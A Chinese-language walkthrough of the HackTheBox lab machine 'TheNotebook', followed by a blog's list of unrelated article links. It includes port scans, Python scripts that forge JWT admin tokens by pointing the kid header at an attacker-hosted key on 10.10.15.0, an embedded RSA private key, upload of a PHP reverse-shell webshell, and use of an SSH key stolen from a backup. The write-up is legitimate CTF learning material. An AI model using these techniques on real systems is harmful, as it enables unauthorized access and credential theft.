前言

只拿到了user,提权没成功——有wp说是CVE-2019-5736,我没打成。

打点

nmap-sV -v -A 10.10.10.230

端口扫描结果:

PORT      STATE    SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

注册接口发现admin用户已存在,爆破一手密码试试,无果。

使用test test成功登录,但只有一个添加笔记的功能,没什么思路

又测试注册和登录接口是否存在sql注入,无果。

尝试之前某题的思路在admin后加上超多空格,试图超出截断以覆盖已有admin账号也失败了。

但是base64解码admin空空空空空账号的登录cookie后发现这是个jwt,思路转向jwt伪造。

下面是已经存在账号test的token

{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}.{"username":"test","email":"test@test.htb","admin_cap":falsefQ.˜MtÇ[8’⺞Z*ï>IÙÈ@3▫•»6TC5-ˆŒ1̲•³Ivh-»fr^•wqÜNfèM ÐÉ¥Á̲eîÚ0ha-O:K‘HrˆÀßdàÍÏYZóP;C§««U2_žÇqˆK÷hJ9è—âQ7êmÛMíˆet¡ÜV†…>|_n›Ô…·W5	Š
e¥1¢yÒ¸G†}áÊQ

nmap扫描7070端口发现未开放,因此猜测把url改到我们自己服务器上来控制key,再修改admin_cap值为True来达到越权至admin的效果。

生成token脚本如下,因为rs256加密,这key不能乱写,先改成HS256试试。

privKey.key放的就是test1234

import jwt
import base64 key = b'test1234'
head = {
"typ": "JWT",
"alg": "HS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"test@test.htb",
"admin_cap":True
}
# head_str = json.dumps(head)
# payload_str = json.dumps(payload)
# pattern = head_str + '.' + payload_str
# secret = base64.b64encode(pattern.encode())
#jwt_token = base64.b64encode(head_str.encode()) + b'.' + base64.b64encode(payload_str.encode()) + b'.' + secret
jwt_token = jwt.encode(payload,key,"HS256",head)
print(jwt_token)

确实有访问记录,但是没有成功。

把加密方式改回RS256试试

先生成一个私钥

import jwt

key = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDUCGTLntMGEocLy6Ww/W/luPdLAaou2XMUQT7E91BuFTndKfOq
adJta5XoRFLeExTRK1+tYJjj2fWjFUUFf22puEutBP8rxI9B9bfiwcRKvWqqh71U
j0q8cDpnrPw6jS+7kOGxG2fPFqHVYUP1u+7ZN71EwzwNcAdAqM0ZjvtADwIDAQAB
AoGBAMQDxnrfJyKT+jiTWWfXw5xRdHvo3BVXfSWac5bPM5GxGb81y0cdcSUqsnj4
wMsARNxiBp9Xj8AEfSr4vMgqV4tArBfyNuJEjLtWCO37L8qXC3jtUsImgRZQqW+3
lIzPNHgddfdmlFrorTZx8ZssWX7kAXl020WiTHptbiNmmRehAkEA/hDKeP/Y4/0P
I0jdWxnXpSHXXiPPGZ4N8phSQMuCnsWpa7Zf8bzDJyeOtbCUEpGhu2EB46Ol6l4c
I7W7Ecjs5wJBANWlrNC9t9mJKkQ9S+n71OryGC1CnZTT0FQssSqgvZgo/FepkXzo
10yuVAaqqKGt9XhjEP7TjtH0O745iDudxpkCQC0l0rUZ0fMBvzTn993+g6Gml9z0
xBKrUZMwmj1FbNrGCUtIx1fv0UYd83A6BrYeBv2DSZCoPg2d16ZI3wtUBzUCQFDr
8rwRz+wmZwr3yKQ0jZ372qpx++veGp93WheSUJ2skH/Hq2KLctkJgqwPwdWTZVGW
/F341bSydFqFwhMKnKkCPxdfD2OW1BDtHOh7xT0dn4fuZNKojzTrmej2ypu4DM8h
GMln3Xc5vNL18351Q8TfLTeYCeTGrAXZeuRvcUODSQ==
-----END RSA PRIVATE KEY-----
"""
head = {
"typ": "JWT",
"alg": "RS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"test@test.htb",
"admin_cap":True
} jwt_token = jwt.encode(payload,key,"RS256",head)
print(jwt_token)

用cookie quick manager替换掉test的cookie成功获取管理员权限

发现上传

它隔一段时间上传的马就会被删,蚁剑就不太好操作了,重新上传一个反弹shell的马/usr/share/webshells/php/php-reverse-shell.php

在/home/noah下发现了user.txt,还有一个main文件不知道是干嘛的(从strings命令的内容来看像是go写的,跑一下就一个报错),下一步就是要切到该用户读文件了。

在/var下发现备份文件

下面几个涉及到账号的只有home.tar.gz可读,下载下来看看

发现存在Noah的ssh私钥,直接登录.获取user flag

提权

sudo -l 发现有无需密码命令



看样子是要容器逃逸了。但我不清楚这要怎么判断是什么洞,试了下别的wp写的CVE-2019-5736,没打成,溜了

hackthebox TheNotebook的更多相关文章

  1. [HackTheBox]WEB题目

    0x01 [50 Points] I know Mag1k 问题描述: Can you get to the profile page of the admin? 访问分配的地址,是一个带注册的登入页 ...

  2. hackthebox通关手记(持续更新)

    简介: 花了点时间弄了几道题目.以前我是用windows渗透居多,在kali linux下渗透测试一直不怎么习惯.通过这几天做这些题目感觉顺手多了.有些题目脑洞也比较大,感觉很多也不适合于实际的环境 ...

  3. Hack The Box 获取邀请码

    TL DR; 使用curl请求下面的地址 curl -X POST https://www.hackthebox.eu/api/invite/generate {"success" ...

  4. 【10.15总结】绕过CSRF的Referer保护

    今天下午可能要出远门,所以现在就把总结写好了. Write-up地址:[Critical] Bypass CSRF protection on IBM 这个CSRF漏洞存在于IBM的修改邮箱页面,修改 ...

  5. NodeJS反序列化漏洞利用

    原文来自:http://www.4hou.com/web/13024.html node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非 ...

  6. 11种绕过CDN查找真实IP方法

    0x01 验证是否存在CDN 方法1: 很简单,使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有: http://ping.chin ...

  7. OSCP考试回顾

    技术背景 从2011年开始接触学习渗透测试,全职做过的职位有渗透测试,Python后端研发,DevOps,甲方安全打杂. 学习过程 首先考试报名,交钱.买了价值800美元的一个月lab,包含Pente ...

  8. Linux Restricted Shell Bypass

    Author: @n4ckhcker & @h4d3sw0rm Introduction Hello, so first of all let’s explain what is a rest ...

  9. Hack The Box Web Pentest 2019

    [20 Points] Emdee five for life [by L4mpje] 问题描述: Can you encrypt fast enough? 初始页面,不管怎么样点击Submit都会显 ...

随机推荐

  1. c++debug&注意事项 自用 持续更新

    cin后回车程序直接退出: 加system("pause");在return 0;前面 C++ 控制cout输出的小数位数 C++中的cout.setf().cout.precis ...

  2. python分析《三国演义》,谁才是这部书的绝对主角(包含统计指定角色的方法)

    前面分析统计了金庸名著<倚天屠龙记>中人物按照出现次数并排序 https://www.cnblogs.com/becks/p/11421214.html 然后使用pyecharts,统计B ...

  3. C++ primer plus读书笔记——第13章 类继承

    第13章 类继承 1. 如果购买厂商的C库,除非厂商提供库函数的源代码,否则您将无法根据自己的需求,对函数进行扩展或修改.但如果是类库,只要其提供了类方法的头文件和编译后的代码,仍可以使用库中的类派生 ...

  4. curl -O http://www.linux.com/hello.sh

    2.3:可以使用curl的内置option:-O(大写)保存网页中的文件要注意这里后面的url要具体到某个文件,不然抓不下来 # curl -O http://www.linux.com/hello. ...

  5. K8S的资源管理

    K8S的资源管理 管理K8S资源的三种基本方法: 陈述式资源管理方法-使用cli工具进行管理. 声明式资源管理方式-主要依耐资源配置清单. GUI式资源管理方法-主要依耐图形界面. 陈述式资源管理方法 ...

  6. mysql简单教程-(转自wid)

    21分钟 MySQL 入门教程 目录 一.MySQL的相关概念介绍 二.Windows下MySQL的配置 配置步骤 MySQL服务的启动.停止与卸载 三.MySQL脚本的基本组成 四.MySQL中的数 ...

  7. CentOS 下解决ssh登录 locale 警告

    最近登录一台CentOS 6机器,发现每次登录都提示如下警告: -bash: warning: setlocale: LC_CTYPE: cannot change locale (en_US.UTF ...

  8. mysql开启远程访问和oracl用户锁定问题

    开启mysql远程访问 Grant all privileges on *.* to 'root'@'%' identified by 'root'; Flush privileges; oracl锁 ...

  9. DLL重定向处理

    说明 目前正在做的项目批次功能涉及第三方插件,而第三方插件需依赖4.* 版本的Newtonsoft.Json.dll,由于现有功能已经使用6.*版本的Newtonsoft.Json.dll,故采用了d ...

  10. Redis学习笔记七:主从集群

    单机,单节点,单实例的Redis会有什么问题呢? 容易导致单点故障,那么如何解决呢? 可以通过主备方式 同时可以实现读写分离 这里的每个节点是全量的,镜像的. 单节点的容量有限而且单点的压力比较大,如 ...